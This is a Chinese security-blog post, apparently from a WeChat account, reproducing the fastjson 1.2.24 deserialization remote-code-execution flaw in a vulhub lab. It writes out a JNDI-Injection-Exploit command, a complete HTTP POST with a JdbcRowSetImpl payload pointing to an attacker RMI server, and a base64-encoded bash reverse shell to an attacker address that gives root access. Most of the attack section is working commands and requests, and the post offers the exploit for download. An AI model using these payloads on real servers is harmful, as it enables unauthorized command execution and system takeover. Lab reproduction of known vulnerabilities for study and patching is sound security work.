免责声明
本公众号所发布的文章及工具只限交流学习，本公众号不承担任何责任！如有侵权，请告知我们立即删除。
漏洞概述
fastjson 1.2.24 反序列化导致任意命令执行漏洞，漏洞影响范围：fastjson<=1.2.24。
靶场环境
vulhub搭建参考：
进入到vulbub靶场的/vulhub/fastjson/1.2.24-rce目录
使用命令：
docker-compose up -d #启动镜像，整个过程比较久，耐心等待环境搭建完毕，访问http://192.168.0.140:8090/，得到如下页面
验证漏洞的存在
抓包，修改数据包，就可以更新服务器端的信息
GET修改成POST，再添加
Content-Type:application/json{"name":"hello","age":20}
命令执行
1、利用工具自动开启RMI和LDAP服务以及发布Exploit类
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "要执行的命令" -A "vpsip"java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/access" -A "192.168.0.1"
2、根据启动的服务构造数据包
POST / HTTP/1.1Host: 192.168.0.140:8090Accept-Encoding: gzip, deflateAccept: /Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type: application/jsonContent-Length: 160{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.0.1:1099/cstvrv","autoCommit":true}}
进入后台查看命令是否执行成功，命令成功执行，创建/tmp/access文件
反弹shell
构造命令，反弹shell
bash-i >& /dev/tcp/192.168.0.1/99990>&1-> YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg #base64编码java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMS85OTk5IDA+JjEg}|{base64,-d}|{bash,-i}" -A "192.168.0.1"
同样的根据启动的服务构造数据包进行发送，然后以下两个结果会先弹出
过一会儿，反弹shell就会弹出，root权限，能够正常执行命令
获取exp
关注浪飒sec回复
221213获取exp下载地址
历史推荐
原文始发于微信公众号（浪飒sec）：漏洞复现-fastjson 1.2.24-rce
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论